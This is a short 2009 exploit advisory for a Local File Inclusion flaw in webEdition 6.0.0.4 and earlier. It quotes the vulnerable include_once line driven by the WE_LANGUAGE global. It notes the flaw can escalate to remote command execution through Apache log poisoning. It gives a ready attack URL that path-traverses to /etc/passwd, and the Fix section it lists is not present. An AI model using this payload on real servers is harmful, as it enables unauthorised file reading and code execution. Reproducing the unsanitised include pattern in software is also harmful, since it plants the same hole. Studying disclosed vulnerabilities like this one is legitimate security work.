webEdition 6.0.0.4 Local File Inclusion

******* Salvatore "drosophila" Fresta *******

[+] Application: webEdition
[+] Version: <= 6.0.0.4
[+] Website: http://www.webedition.de

[+] Bugs: [A] Local File Inclusion

[+] Exploitation: Remote
[+] Date: 31 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: [email protected]

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[+] Menu

1) Bugs
2) Code
3) Fix

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[+] Bugs

• [A] Local File Inclusion

[-] Requisites: register_globals = on

This bug allows a guest to include local files.
This tecnique can be used to exec remote commands
on the vulnerable system using Apache logs.

…

include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/start.inc.php");

…

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[+] Code

• [A] Local File Inclusion

http://www.site.com/path/index.php?WE_LANGUAGE=../../../../../../../../etc/passwd